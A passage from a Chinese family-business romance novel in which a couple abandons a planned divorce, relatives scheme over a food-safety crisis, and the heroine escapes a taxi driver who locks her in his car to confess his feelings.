眼底又露出几分火气,那迷离之色也盖不住,那张脸绷的挺紧,生怕她的回答会让他控制不住表情。 “不接受行了吧?我刚也是说的气话。” 肖秉文眉头稍稍舒张,紧绷的脸也放松了些,他嘴角微勾,鼻端发出一声笑,“那你可真会气人。” “行了,你别担心,我和小戎会好好的,你先处理好手上的事。”张婉如推了推他:“不太像样,先洗个澡,你这次什么时候走?” “好不容易回来,先陪陪孩子吧。” 两人洗了个澡换了身衣服才出去,肖秉文在家里留了一晚上,先陪了孩子再陪她,传呼机也关了。 不过这一晚上张婉如依旧睡得不太踏实,总担心他又大半夜离开,肖秉文察觉到她翻来覆去的,便往她身上贴了贴,一只大手伸过来搂住她的腰。身体贴上他的胸口,他的气息和温热包裹上来,张婉如安心了些,这才睡了过去。 第二日一醒来旁边却没了人影,张婉如心头一空,也不知道他什么时候走的,她竟没察觉。这会儿也睡不着了,张婉如穿衣起来,却在客厅里看到他熟悉的身影,他正坐在沙发上抽烟。 原来他还没走,心头有片刻惊喜,只是看到茶几上那放了满满一堆烟屁股,眉眼间又堆上几分担忧。 “怎么这么早起来?” “醒来睡不着就起来了,你怎么不多睡一会儿?” “我也睡不着了。” 肖秉文将烟头摁灭,手指头又从烟盒中夹了一根出来,张婉如道:“别抽了。” 夹了一半的烟便被他送了回去。 “你什么时候走?”张婉如问他。 “等一会儿。” “那……”张婉如停顿了片刻才道:“你什么时候办贷款?” 他要先离婚再办贷款,张婉如实在问不出你打算什么时候离婚。 他沉默下来,复杂的目光落在她身上。片刻后长臂一伸拽住她的手腕,另一只手往她腰上一圈,下一刻她便被他揽进怀中抱着。 背微躬着,头抵着她的后背,手臂交握着收紧。张婉如感觉他的手在微微颤抖,低头一看,那双臂因为用力几条青筋一直从手背蔓延到手腕,不过搂在她身上的力道却不重。他好像只是在跟自己较劲。 “刚刚的问题你还没回答我呢,你打算什么时候办贷款?” 沉默了好一会儿才听到他应了一句,“要尽快。” “那你下次什么时候回来?得先办离婚啊。” 他没说话,张婉如意识到什么,她试探着问:“要不今天去办?” 他依旧没说话。沉默好一会儿才听到他抵在她后背应了一声,“嗯。” 张婉如便从他怀中挣开说道:“那走吧,民政局也快上班了。” 肖秉文眼角处依旧还残留着一片红血丝,唇色渐深呈玫红色,此刻轻轻抿着,微蹙的眉心透着凝重,轻抿的唇也像是在克制着什么。 和他一起生活这么久,自然也了解他,情绪激动时他唇色会变深,每次在床上兴头处就这样。这会儿他没说话,看上去挺平静的,她却清楚,只怕是心头翻腾得厉害。 他并未看她,深而凝的目光落在未知的一点,仿若在思考着什么,又仿若只是单纯走神。片刻后那轻抿的唇角微微勾出一抹弧度,他道:“好。” 张婉如先回了房间去拿结婚证,离婚要用的。肖秉文跟着她进去,见她在抽屉里翻翻找找,将两张结婚证找出来,冲他晃了晃,“走吧。” 肖秉文却猝不及防拽住她的手。贷款确实迫在眉睫,货物积压太多,还需要赔偿受害者,他需要资金。 已经做好了决定,而且也只是出于权宜之计离的婚。可他总想到她的话。 “离了婚就该有离了婚的样子,而且我一旦选择离婚那就要离到底。” “离了婚彼此就是陌生人了,往后我或许还会遇到更合适的人,谁知道呢,当然都已经离婚了,我再跟谁在一起你也管不着了对吧?” 她说这是她说的气话,可有一点她说的对,离了婚他们就没有关系了。即便他们有共同的孩子,可他们也不再是夫妻。 目前离婚对母子俩确实是好事,他将来贷款,债务也落不到她身上,是权宜之计,是目前来说最好的安排。他根本没有道理优柔寡断,可不知道为什么,一想到离婚之后两人就没有关系了,他心底便不安。 他不舍不甘心,怎么可能甘心呢?他不愿意放弃这段婚姻,不想和张婉如没关系,不想成为在张婉如眼里一点不值得过问的人,即便是假的也不愿意。 张婉如目光疑惑落在他紧拽的手上,她道:“怎么了?得早点去,今天不知道能不能办得完。” “不去了。”他说道。 “不去了?什么意思?” “不离婚。”他干脆利落丢来几个字。 “你不是要办贷款吗?” “暂时先不办,手上还有现金,先把这笔钱拿出来用。” “……” 原本已经决定好的事情临终反悔,这是第一次。变得这么优柔寡断,连肖秉文都觉得莫名其妙。 手上这笔现金原本是要留给母子俩的,这笔现金用出去,也不知道能不能让公司起死回生,或者也是白给了,或者到头来还是要抵押贷款,可他想着能拖一阵是一阵,最起码他暂时不用办贷款,他们也暂时不用离婚。 “那要是这笔钱不够呢?”张婉如问。 “再说吧。不过到时候给你和小戎的就少了些,当然你手上的两套房再加上肖家那些商铺的租金,也够你们母子俩生活富足了。” 张婉如挺无语,她在意的是这个吗? 不过不管是出于什么目的离婚,但离婚这话题终究是沉重了,目前不用离婚,张婉如心情也好了些,这话题就不提了。 她道:“你今天走吗?” “得走,事情还很多。” 张婉如也理解,在事情没解决之前他是没法抽开身的。 “一会儿小戎醒了问起来你好好跟他说,这孩子别看平日里话不多,其实心思敏感着呢。” “我知道。” 暂时决定不离婚了,肖秉文也松了些气,整个人都没那么绷着了,交待完这些他又道:“要是别人问起,我还说我们离婚了,这样对你也好,这事儿我也不知道会发展成什么样,但我不想因为公司的事情影响了你和小戎,怕有人会去找你们麻烦。” 张婉如想说她倒是没事,不过还得考虑到孩子,她便点点头,应道:“好。” “那我先走了。” 他这一走可能又要好长一段时间见不了面了,张婉如挺舍不得,看得出来他也不舍。嘴上说着要走了,身体却没动,目光依旧落在她身上。 两人都挺想再缠绵一下的,但缠绵下去最终还是得走,肖秉文狠了下心,交待一句:“你跟小戎好好的。” “好,我知道的。” 他放心了些,这才转身,张婉如挺想跟他再抱一下,但又怕耽误他,最终还是忍住。肖秉文走了几步又回头看了她一眼,张婉如见状,突然觉得好笑。肖秉文教小戎,男子汉别优柔寡断的,做事要当机立断。 可你看看他,说着要离婚,可第二天就变卦,说着要走,可又一步三回头。 算了。 张婉如小跑上去,一下将他抱住,几乎是立刻,在她扑到他怀中的一瞬间,他的一双手臂就紧紧缠上来。 抱了一会儿两人才松开。 “真走了。”他说道。 “好。” 他转身 要走,又想到什么,回头冲她说了一句:“我们没离婚,你还是我的妻子。” 张婉如没明白他怎么突然跟她说这个,她这会儿也没心思想那么多,应道:“好,我知道。” 他这才放了心转身离开了,直到他身影彻底消失,张婉如才后知后觉反应过来,人是真走了。 想到她曾说过他们离了婚就没了关系,她说不定会接受别人这种话。再想着他离开时的交待就能想通了。 这是怕她真接受别人?这种时候他竟还担心起这个来了,她不由觉得好笑。 张婉如在床边坐下,被子还没叠,有些凌乱堆在床上,房间里似乎还残留着和他暧昧的气息,可他人已经不在了,她怅然呆坐了许久,突然对未来有些迷茫。 ** 和盛味业发生这么大的事情,肖家这边自然也得到了消息。肖二姑也是有好几天没看到陈子越了,这天陈子越突然回来,肖二姑见他好好的松了一口气,又将他拉到房间里询问情况。 “情况肯定不太好,出了这么大的事情秉文也是焦头烂额。有问题的酱油已经召回销毁,但和盛味业的声誉肯定受了影响,后半年的订单全部退了回来,积压的货品都快让和盛爆仓了。” “肖记呢?肖记如今怎么样了?” “肖记现在和和盛是一家的,和盛出了这么大的事情,肖记肯定也被影响到了。” 肖二姑顿时一声冷笑,“老爷子啊老爷子,你看到了吧?这就是你把肖记给秉文的下场,你要泉下有知的话,会不会后悔当初的决定?” 陈子越不赞同道:“妈,你干嘛这么说呢?在和盛出事之前,肖记有了和盛的靠山销量比之前单靠铺子的销量增长了好几十倍。” 肖二姑就像没听到他的话一样,她兀自在房间里走了一圈,随即冲陈子越道:“子越,趁着这机会,你马上把肖记从和盛味业脱离出来。” 陈子越简直惊呆了,他道:“妈你在说什么啊?把肖记从和盛味业脱离出来?你是要让我落井下石,在这个时候背叛秉文吗?” “什么背叛不背叛的?你要是不这么做,那肖记也会被肖秉文给拖垮的!你别忘了肖记是你外公的心血,也是你的心血!你忍心看着它跟和盛味业同归于尽吗?” “先不说和盛味业和肖记现在是一体的,我要脱离也没那么容易。就说同归于尽这话,妈你是不是想得太严重了?和盛味业那么大一个公司,怎么可能说垮就垮?如果我真在这个时候选择脱离和盛味业,一旦秉文喘过气来,你觉得他会放过我吗?” “那要是他喘不过气来呢?你真要眼睁睁看着肖记在他手中毁于一旦吗?”肖二姑握住儿子的手,语重心长说道:“子越,听妈妈的,这个时机正好,秉文他忙着处理手上的烂摊子根本顾不上你。这时候你带着肖记脱离他的掌控,他也无暇顾及,即便到时候他喘过气来了,肖记也彻底在你手下,他也不可能再对你怎么样。机会这么好,你别死脑筋了。一旦我们能成功脱离肖秉文,那么肖记就完完全全属于你的了!你明白吗傻孩子?” “不行。”陈子越却一口拒绝。 肖二姑一副恨铁不成钢的表情,“你这孩子,你怎么就那么死心眼呢?” “我并不是死心眼,而是我很清楚,和盛和肖记是一荣俱荣一损俱损的。你说得没错,这个时候秉文确实焦头烂额无暇顾及我,我确实也有机会让肖记脱离他的掌控。可就算脱离了,你觉得肖记就能好好发展下去吗?爷爷一手将肖记发展起来,这么几十年了,虽然也有辉煌的时候,但到了末期却也是穷途末路实在没法发展下去只能给秉文。而肖记在秉文手中也慢慢开始走上坡路。肖记在我手上,我不敢保证我就做得比秉文更好,一旦秉文这次度过难关,往后只要和盛在发展,即便发展得缓慢,肖记也能分到一杯羹。可若是这个时候脱离和盛不仅会得罪秉文,而且我也没有把握真的能将肖记发展起来。如果我们在秉文最难的时候不离不弃,往后和盛发展起来,秉文自然记得我们,可要是我们落井下石,我们的下场有多惨谁都不知道。遗产这件事秉文确实没计较了,但你觉得秉文不计较就是一个仁慈的人吗?我见识过秉文在商场的手段,虽不说狠辣吧,但在触及到利益的时候他是绝对不会心慈手软给对手一点喘息的机会的。所以在我没有把握让肖记能强大到秉文干涉不到的情况下做出背叛他的事情,那我无疑就是在找死,你明白吗?” 听到陈子越这番话,肖二姑顿时惊出一身冷汗,仔细想想遗书这件事,肖秉文之所以放过他们,也是因为他们有自知之明没有再继续闹,那若是闹下去呢?肖秉文会怎么对付他们呢?她不敢想象。 肖二姑点点头,“你说得对。”她确实想得不够长远,只注重眼下的利益,“那我们现在该怎么办?” “等。” “等?” “这件事情会慢慢平息,秉文会用尽一切办法让他平息,他不可能让自己亲手创立的一切毁于一旦,也不可能看着肖记共沉沦。不过在平息之前会痛一阵子就是了。在这期间我们该做什么就做什么,其他的不该我们过问的就不要去过问。” “你确定肖秉文能让这件事平息吗?” “其实我也不确定,但我清楚,如果这个时候我们不安分,不管结果怎么样秉文都不会放过我们,我们会比现在更惨。” 肖二姑叹了口气,“我明白了。”她一脸欣慰看向陈子越,“妈妈一直以为你是死脑筋,现在才发现我的子越已经在我不知不觉中长大了,你考虑到的确实比妈妈长远,倒是妈妈见识短了。” 肖二姑跟陈子越谈完之后去了一趟肖家大伯那边。肖家大伯正好下班,肖二姑忙问道:“大哥,秉文的事情你知道了吧?” “闹这么大,我怎么可能不知道?” 肖大伯在那张铺着垫子的红木沙发上坐下,气定神闲喝了一口茶。 “那现在怎么办?要帮帮他吗?” “帮?”肖大伯像看傻子一样看着她,“幸好我这些年一点肖家的生意都没沾过,不然这事儿一出来我这位置都要不保了,我还帮他?是嫌我这位置坐得太舒服了吗?” “那你的意思是不管他的死活了?可他毕竟是老三的孩子啊,老爷子老太太那么疼他,他们要是泉下有知……” 肖大伯将茶杯放茶几上,表情并没有太在意,说道:“年轻人本就该吃些苦头,秉文这孩子锋芒太露了,经过这事儿也能给他些教训,敛敛锋芒,这并不是坏事。至于其他的,明哲保身吧,尽量别给自己惹麻烦。” 和盛味业的调查还在继续,这段时间整个公司都笼罩在一片阴影中。食品安全问题是公司的大事,这事一出公司里人人自危,更何况公司上层还在紧锣密鼓调查这件事,工厂里的人上到总经理,下到清扫垃圾的保洁都接受过调查。 而且这期间,工厂里的工人都没法自由进出,在调查结束前,笼罩在每个人头上的阴影都不会散去。 肖秉文忙得团团转,这天好不容易得了空,他走进办公室,里面已经有人等着了。茶已泡好,不过放在陈子越面前的茶他却没动过。 肖秉文进来,陈子 越下意识站起身,肖秉文冲他摆摆手,“坐下吧。” 肖秉文将文件锁在办公桌,这才走到接待用的沙发上坐下,端起茶喝了一口,这才说道:“你这段时间也挺忙的吧,把你叫过来有没有耽误你?” “没有。”陈子越停顿片刻道:“你突然将我叫过来,是公司又有别的情况了?” “暂时没有什么别的情况。”肖秉文将茶杯放下,双腿交叠着,一双深邃的眼睛落在他身上,他道:“叫你过来就是想跟你商量一件事儿。” “什么事,你说。” “你也知道现在和盛的情况,公司最近也在调查但一直没有结果。一天没有结果,外界对和盛的骂声就一天不会停。肖记现在在和盛旗下,这件事一出肖记自然也受到了牵连。你从小跟在爷爷身边做事,应该比谁都清楚,肖记是肖家几代人的心血,我实在不忍心看着肖记近百年的口碑受到影响。” 肖秉文说到此处停顿了一下,他看了一眼放在陈子越跟前没动的茶,陈子越意识到他的目光,动作自然端起茶喝了一口。 肖秉文又继续道:“所以我决定将肖记分出去,让你全权管理肖记,这样能将和盛对肖记的影响降低到最小。” 陈子越喝完茶正要将杯子放下,听到这话手一抖差点没拿稳杯子摔在茶几上,他尽量让动作自然将茶杯放好,这才一脸凝重向肖秉文看去。 是那种严肃的谈事的态度,看不出什么异样。自从肖记和和盛合并之后,陈子越也来和盛开过几次会,在会上的肖秉文便是这样的表情,严肃谨慎字字玑珠,从不说多余的废话。 按理来说用公事公办的语气来跟他谈这件事再正常不过了,不管是他的表情和眼神都看不出任何异样,可陈子越后背却不自觉冒出一股冷汗。 他沉默下来,用最快的速度冷静组织语言,这才开口道:“这万万不可啊,肖记合并到和盛是外公的遗愿,在外公看来这就是对肖记最好的安排。和盛现在确实是出了事,肖家也受到了一些影响,可肖记和和盛是一体的,本应该齐心协力解决问题,这个时候将肖记分出去,或许会降低一些影响,可这不就违背了外公他老人家的意愿了吗?就像把身体分成两部分,不管是和盛还是肖记都是疼痛难忍的事情,对彼此也有很大的影响。秉文,和盛肖记是一体的,该一起解决问题,这个时候分开并不是解决的办法,也不利于长远发展。” 陈子越每一个字都说得很真诚,肖秉文没有立刻回应,沉思着像是在思索他的话。片刻后他端起茶喝了一口,低头喝茶时,他目光却微抬,从杯沿上拂过落在对面的陈子越身上。 这眼神其实也没带多少情绪,可那眼风却像是开了刃的刀一样,有一种难以招架的锋利感。 陈子越感觉后背冷汗汨汨直冒,却也保持着自然神态接受他的审视。 茶杯重新放在茶几上,眼神微敛,他依旧还是那副严肃认真公事公办的态度。 “你说得对,和和盛肖记是一体的,就像手足兄弟,要协调共进才能稳步向前。那你觉得目前肖记受到的影响该怎么解决?” “其实只要和盛的事件有了调查结果,那么肖记的问题也能迎刃而解。” 肖秉文点点头,“那这段时间肖记就麻烦你多费点心了,大概有很长一段时间肖记的销量会受到影响,你得把握好供需关系,安排好生产,还得安抚工厂里的员工,让他们放松心态。” “我明白的。” “我这边还得去开个会。” 陈子越知趣站起身,说道:“我出来也有一会儿了,肖记那边也离不开人手,那我就先走了。” 肖秉文点点头,陈子越这才离开。陈子越出了肖秉文办公室坐上车,这才发现后背衣服湿了一片,被风一吹,一股寒意沿着脊柱蔓延到身体里,冷得骨头都在颤。 如果他没猜错的话,肖秉文是在试探他,如果方才他脑子一热真答应了他将肖记分出来,他敢相信,他绝对不可能像现在这般完好无损从他办公室出来。 此刻肖秉文坐在办公室里那张老板椅上,双腿交叠着,整个身体慵懒靠坐,修长的手指捏着一直钢笔摩挲。 如果这次的事件是陈子越下的手,那肖秉文能想到的动机就是陈子越想趁机将肖记从和盛分离出去。毕竟当时肖大伯和肖二姑都对爷爷分的遗书不满,陈子越作为肖二姑的儿子,会不会也不满? 可今天他试探了一下,好像并不是那回事。若这件事真是陈子越做的,他花了这么大的代价,如此好的机会怎么会不好好把握住? 难道真不是他? 这段时间该调查的人都调查了,守仓库的老于,任何去过仓库卸货装箱的工人,连秘书小孙他都秘密调查过,都没有结果。 倒是还有两个可疑的人,一个是陈子越,一个是肖瑜。 如今陈子越也试探了…… 肖秉文收回思绪,用座机拨了个号码过去,是肖瑜台球室的座机号,响了没几声就接了,是台球室的前台接的。 “你们老板在吗?让他接电话。” 也巧,肖瑜正好在台球室里,没一会儿他接起电话,一开口就道:“你这个大忙人这段时间应该忙得焦头烂额才对,怎么有空给我打电话?” “我焦头烂额你好像挺幸灾乐祸的?” “我这是幸灾乐祸吗?我这明明是不爽吧?你那工厂出了事,别人知道我跟你的关系,我这生意都受了不少影响。你今天打电话过来是慰问我的?” 肖秉文不语,肖瑜又道:“看来不是了,那是要干什么?来跟我借钱?” 肖秉文便顺着他的话说道:“我手头确实有些紧。” 肖瑜当即就急道:“还真他妈来跟我借钱的啊?你看我像是有钱借给你吗?”他气急败坏说完,停顿了一会儿却又软了语气问道:“要多少?” “一……” 肖秉文话还没说完,肖瑜就急色道:“一百万?我靠你当我是银行啊,一开口就借一百万,我开几个破几把店我哪里能有一百万啊?” 肖秉文沉默不语,那边肖瑜跳着脚骂了一会儿又道:“行了,我把城西那几个店打出去,反正那边也没赚几个钱,加上我手上还有点,勉强能凑个二十来万,一百万是凑不出来的,把我卖了也凑不出来,只能给你这么多。你什么时候要?不过我可告诉你啊,这是借给你的,到时候你手上资金回流了得连本带利还给我。” 肖秉文叹了口气,“算了。” “算了?什么算了?” “我要去开会了,我先忙。” 肖秉文说完便挂断电话。 在他们这一辈中他和肖瑜关系最好,虽然有时候让肖瑜帮个什么忙他总骂骂咧咧的,但真有难了,整个肖家可能也只有肖瑜愿意帮他。 而且以肖瑜的智商,他能计划缜密在那么多人的眼皮子底下偷偷在和盛的原材料里动手脚吗?他觉得不太可能 第56章 第56章只惦记你 今日张婉如一到公司袁雯就一脸神秘问她:“你跟肖秉文离婚了?” “你听谁说的?” 袁雯目光在她表情上逡巡了一下,“到底离没离啊?要是离了,可你也表现得太淡定了吧,这段时间该干嘛干嘛,一点都不像婚姻出变故的,要没离,怎么外面都在说?” “外面?哪个外面?你到底听谁说的?”张婉如语气带着几分调侃,“难道是秦队长?你跟秦队长又联系了啊?” 竟然还有心情调侃她,怎么看都不像是离婚了的,但秦良川也不至于拿这种事来骗她。 “到底离没离?” 张婉如冲她笑了笑,“秘密。” 她将一堆设计稿给袁雯,“这是下季度的服装系列,你先看看。” “你……” 张婉如急忙敷衍道:“好啦要工作了,公司里工作为重,其他的私事就不多说了。” 张婉如和肖秉文当然没离婚,不过肖秉文说过如果别 人问起就说离了。只是她没想到连关系跟他那么好的秦良川他也直接说他俩离婚了。 连袁雯都知道他俩“离婚”的事情,那认识他俩的人应该也知道得差不多了。 张婉如和肖秉文离婚的事情很快就传到了肖家人耳中,不过最关心肖秉文的肖家二老已经不在,他俩离婚不离婚其他人也不会太关心,只当茶余饭后的闲聊。 肖家知道两人离婚的事情,梁家那边自然也知道了。梁建英将这事儿带到娘家去说,说完她冷笑一声道:“我就知道当年张婉如回来就是看中了秉文手上的钱,这不秉文公司一出事立马就离婚了。”话说得不无嘲讽,“要说啊这婉如丫头也是鬼机灵,在秉文最好的时候跟了他,听说将两套房子和老爷子给的商铺都骗到手上了。秉文一出事立马踢了,这该拿的都拿到了,还不用跟秉文一起承担责任,谁见了不说一声好手段,不过也太无情了些。” 家里就梁文凤和梁文平两姐弟在,两人听了都没应声,梁建英见状说道:“你这丫头在想什么?你不会还惦记着秉文吧?” 梁文凤蹙眉,说道:“你说什么呢?几百年前的事了怎么还拿来说?” 梁文凤只是在想,肖秉文和张婉如真离婚了吗?张婉如真是那种人吗?虽说她对张婉如也说不上喜欢,但总感觉这丫头不像姑姑说得那么无情无义。 “也是。”梁建英应道,“你现在也是有对象的人了,你跟你那对象怎么样了?” 换做别人一听到有人提自己对象,或害羞或开心,梁文凤面色却是凝重了几分。她确实交了个男朋友,家里是从政的,是家里的小儿子,上头还有个哥哥。 梁文凤在这个年代属于高学历,不管是出于虚荣心还是处于自己高知大学生的身份,她都不想找个普普通通的人结婚。 目前这对象家里都在体制内,虽说家里还有个哥哥,家里的资源也都向他哥哥倾斜,他们家对他的帮扶不多,他也只在某单位挂了个闲职,但对方的家境对她来说算是高攀了。 两人感情一直都挺稳定的,不过最近梁文凤也发现了对方的态度似乎敷衍了许多。其实梁文凤明白,对方能选她,一来是出于她大学生的身份能给他涨面子,二来也是因为梁文凤跟肖家的关系。 梁文凤的姑父从政,而肖家又有肖秉文这个商场上的新贵。对方跟她在一起目的就是想搭上肖家这两人。 她又不是十几岁的小姑娘了,会一厢情愿觉得对方选择她是出于爱情。成年人的交往礼仪往往是利益大于爱情的。 他们家都是从政,家里也都是重点给他哥铺路,他这边倒像是放养的。而他也确实不是从政这块料,所以他想做生意,而他也一直想搭上肖秉文,如果能搭上肖秉文的话说不定还能借个东风,只是没想到肖秉文却出了这么大的事。这件事情后,和盛还能不能存活下去都难说。对方见没戏了,对她便冷淡了许多。 “你们打算什么时候结婚?”梁建英又问道,“你也老大不小了,如果感情稳定了就趁早把事情办了,你有了稳定的家庭我们也能放心些。” 年龄这方面也确实给了梁文凤一些焦虑,她确实也不年轻了,而这个人目前是她能找到的最好的对象。 对年龄的焦虑让她昏头昏脑觉得对方是个不错的选择,如果能定下来那更好,可理智却又告诉她,对方并不是她的良人。 所以听到这话梁文凤也觉得挺烦的,她便没应,梁建英只以为她是女儿家害羞,便又自顾自噼里啪啦说了一大堆。 梁文平也在,不过全程没搭腔,这会儿站起身说道:“我出去跑车了。” 这会儿差不多快到下班时间了,出租车的生意会好一点,梁建英看了一眼窗外,说道:“下雨了也去跑车?” 梁文平道:“下雨了打车的人才更多。” 自从那一次梁文平嫁祸张婉如被肖秉文当众修理了一番之后,有很长一段时间他都一蹶不振,甚至都不敢出门。 他在家里颓废了很久,不过这段时间虽颓废倒也让他认清了自己,他要考公务员是无望了,这么大个人了再窝在家里不像话,他便想着要去跑出租车。 他爸他妈一直对他挺头痛的,一方面作为对最小的儿子的偏爱,他想考公务员就让他考,也支持他,可一方面面对旁人的流言蜚语又觉得他这么大个人了整天窝在家不像话,又对他怒其不争。 这会儿见他想主动找个事做,立马帮他张罗,找了许多关系帮他找了个出租车公司让他进去。梁文平从此便做起了出租车生意,倒也不是跑一整天,就上班下班时间去跑一下,赚的钱也足够养活自己,虽然赚的不多,但家里人对他也安心了。 梁文平将车子开出去,一直在通辽街附近转悠。 张婉如下班出来才发现在下雨,夏日天气多变,有时候说下雨就下雨,出门时她忘了带伞。去公交站还有一段路,张婉如便想着打量出租车。 下雨天打车的人多,张婉如站了好一会儿也没打到一辆,好不容易有一辆空的出租车开到身边停下,生怕被别人抢了先,张婉如想也不想立刻拉开车门坐了进去。 “师傅,麻烦去一下小青蛙游泳馆。” 小戎在那边学游泳,张婉如先去接他。 驾驶坐上的梁文平像是才认出她一样,说道:“张婉如,是你啊?” 张婉如这才看清开出租车的是梁文平。张婉如和肖秉文已经搬出肖家老宅很久了,也不知道这梁文平是什么时候当的出租车司机。 想着上次梁文平嫁祸她的事情,这会儿见到了多少有些尴尬,不过都坐上车了,再下去不免显得刻意。张婉如便也面色如常应了一句,“没想到是你,你什么时候当起出租车司机了?” “快半年了,既然都是熟人我就不打表了。” 梁文平就像什么都没发生过一样,语气客气得不行。别人都这么客气了,而且事情也过去这么久了,张婉如也不想翻旧账,便道:“那不行,还是打表吧,你要不打表我就不好意思坐了。” 梁文平也没挣,道:“那行吧,去小青蛙游泳馆是吧?” 雨越下越大,街上行人和车子也多了起来,大雨倾盆而下却并未降一降暑气,反而让整片大地像蒸笼一般。下雨和闷热让大家都变得很焦躁,外面不断传来轮胎打滑声和司机间的咒骂声。 张婉如也感觉莫名的焦灼,不过小青蛙游泳馆距离这里不算远,应该要不了多久就能接到小戎了。 “你还没吃饭吧?”前方梁文平问了一句。 张婉如以为是因为堵车他无聊着就随口闲聊一句,也没当回事,敷衍着应了一声,“还没。” “那先去吃点东西吧?” “不用,小戎还等着我呢。” “先吃点吧,去高中附近那家馄饨馆怎么样?我记得你挺爱吃那家的馄饨。” 张婉如听到这话眉头一皱,这话听着就不像闲聊了。张婉如诧异看了他一眼,说道:“不用,那边太远了。” “也不远,还没出城呢!” 车子开到红绿灯处,本来是要直行的,梁文平却打了个转,车子直接掉头。张婉如见状,那股焦灼感更甚,她急忙问道:“你要去哪儿?” “去吃馄饨啊,就高中校门口那家,你以前常去的。” “……” 张婉如试图在他身上找出开玩笑的痕迹,可看着眼前越来越偏的路,梁文平是给她来真的,他真要带她去高中附近吃馄饨。 有那么一刻她觉得这个人有病,莫名其妙的,突然要送她去吃馄饨。 想到他们之间的过节,张婉如有一种不太好的预感,她尽量让自己冷静,说道:“我现在不饿,你还是先送我去小青蛙游泳馆吧。” “你放心小戎不会有事的,游泳馆里那么多人你还怕他丢了啊?吃一碗馄饨也要不了多久。” 路线 越来越偏,车子也没有停下的打算。张婉如突然有些后悔了,方才上车看到司机是梁文平就应该直接下车,毕竟两人本来就有过节不是吗? 也是看他那么客气的,那事儿也过去那么久,再加上这个天气打车也不好打,一时着急去接小戎便没想那么多,谁知道这梁文平会突然发疯,上次肖秉文给他的教训他忘了吗? 她甚至想到,方才她打了那么久的车都打不到,偏偏好不容易打了一辆就是梁文平的,或许这并不是一种巧合? 那么梁文平故意接上她是想干嘛?张婉如知道这时候应该冷静,可脸色实在好不起来,她沉声问道:“你想做什么?” “你别这样张婉如。”梁文平笑了笑,“我真没坏心思的,我就想带你去吃一碗馄饨而已。” “我并不想吃,麻烦将我送到小青蛙游泳馆。” “就吃一碗嘛,也耽误不了你多久的。” 他就像是听不懂话一样,而且还嬉皮笑脸的,张婉如按捺住火气,试图跟他讲道理,说道:“是因为那次肖秉文让你当众道歉所以你心里不舒服吗?可那不是你冤枉我在先吗?” “我没那么记仇,我真就想带你去吃一碗馄饨,你别把我想太坏。” 张婉如看了一眼窗外,车子确实是向高中的方向走。张婉如是真不知道这人想干什么,莫名其妙的,就跟个神经病一样。 是想报复她吗?可他的表情又不像,难道真的像他说的,只想带她吃一碗馄饨?简直莫名其妙,那嬉皮笑脸的样子也看得人烦。 “我得尽快去接小戎,若是我一直没去,游泳馆那边会直接给肖秉文打电话的。” 张婉如试图引出肖秉文来震一震他。听到这话之后梁文平确实沉默了片刻,脸上那嬉皮笑脸的表情也收敛了些。 他道:“那也没什么吧?你跟秉文不是离婚了吗?你现在是单身不是吗?我也是单身,我请你吃碗馄饨也不算得罪肖秉文吧?” 听到“离婚”和“单身”两个字,张婉如越发警惕起来。总感觉他的目的不会是吃一碗馄饨那么简单。 张婉如调整呼吸,将那股焦灼和火气压下去,车子是密封的,车速也不慢,要跳车肯定是不行的。张婉如试图摇下车窗,却发现车窗已经反锁,要想呼救也不行。 梁文平从后视镜看到她的动作,倒温声安抚她道:“你不要这样张婉如,我真没有坏心思,咱就去吃碗馄饨,吃完了我送你去接小戎。” 张婉如闭了闭眼,她目前能做的好像也只有暂时相信他真的只是单纯带她去吃馄饨,而且也尽量别激怒他。也不怪张婉如会想得多,她曾遭遇过绑架,遇到过不好的事情,她无法不往坏的方向联想。 车里突然放起了音乐,是最近流行的情歌,梁文平心情好像挺不错,跟着歌哼唱了几句。张婉如听得更是心中烦闷,却还是尽量让自己冷静。 也不知道这首歌突然激发了梁文平哪一块,他将音乐关小了一些,突然说道:“你知道吗张婉如,我挺喜欢你的。” 正闭眼让自己冷静的张婉如听到这话骤然睁开眼,表情一时间没控制好,就像吃了苍蝇一般难受。 没有诧异,没有惊愕,就是纯难受。 梁文平将她的表情尽收眼底,虽然也料到过,可见状也不免有些失落,他接着道:“我喜欢你好久了,从高中的时候开始。不过那时候你眼里只有李长庚,我知道我肯定没希望的,后来你又跟肖秉文在一起,你们还有了孩子,我就知道我更没希望了。你肯定在疑惑,我既然喜欢你,为什么还做出冤枉你的事情,其实我想法挺简单的,我就想你和肖秉文能离婚,你们离婚了我就有机会了。不过没成功,本来我都放弃了,没想到肖秉文突然出了事儿,你们离婚了。有时候我也在想,或许连老天都看不下去我单相思,故意出手帮我。既然连老天都帮忙,我自然也不想错过这次机会,你也别害怕,我真没想过要对你做什么,就想请你吃一碗馄饨,想给自己争取一下追求你的机会。” 这话一点都没让张婉如感动,反而让她更难受,她张了张口想说些什么,但又怕自己一开口话有点难听,她并不想激怒他。 所以,她干脆沉默。 不过也等同于无声的拒绝,梁文平也明白,他笑了笑,像是在对她说,又像是安慰自己,“没事儿,我也没想着让你一下就答应,来日方长嘛,以后还有的是时间。” 还来日方长,张婉如只觉得一阵恶心。 梁文平多少还是受了些打击的,之后便没有再说话,只有那一首接一首的情歌在车厢里回荡。 车子开到高中校门口,校门口那间馄饨店过去这么多年了还在开。梁文平面上一喜说道:“竟然还开着呢。”他回头冲张婉如道:“车上没伞,我去给你买了来吧。我这么信任你,张婉如,你也信任一下我行不行?” 张婉如点了下头,说道:“知道了,不过吃完了你就得送我去接小戎。” 大概也是张婉如表现得很平静,没什么过激的反应,让梁文平放松了些警惕,张婉如说这话时也是态度平和,他自然也不能把人逼太紧,梁文平笑了笑,说道:“没问题。” 说完推开车门下了车,走了两步又回头看,见张婉如还好好坐在车里这才安心了些,进了店。 而张婉如也一直注意着他,就在他进店的一瞬间,她急忙俯身到前座将车门解锁,随后推开车门,疯了一般向前跑去。雨还没停,密集的鼓点一样落在她身上,砸得有些疼,张婉如双眼的视线已经模糊了,她随手抹了一把继续往前跑,跑到公交站,正好有一辆公交车刚启动,在公交车开走前一刻她跳了上去。 公交车上人多,很挤,可她挤在人群中却莫名觉得安心,因为跑得太快,心跳砰砰撞得胸腔疼,可这种劫后余生的喜悦却让她不自觉笑了起来。 梁文平买了馄饨出来才发现后座上的人不见了,他急忙寻找,很快就看到距离几十米远的地方张婉如跳上公交车的身影。 梁文平握着馄饨的手渐渐收紧,紧得发抖,那打包盒子慢慢承受不住,啪嗒一声被他捏成两半,滚烫的馄饨撒了满手他却像是感觉不到一般。 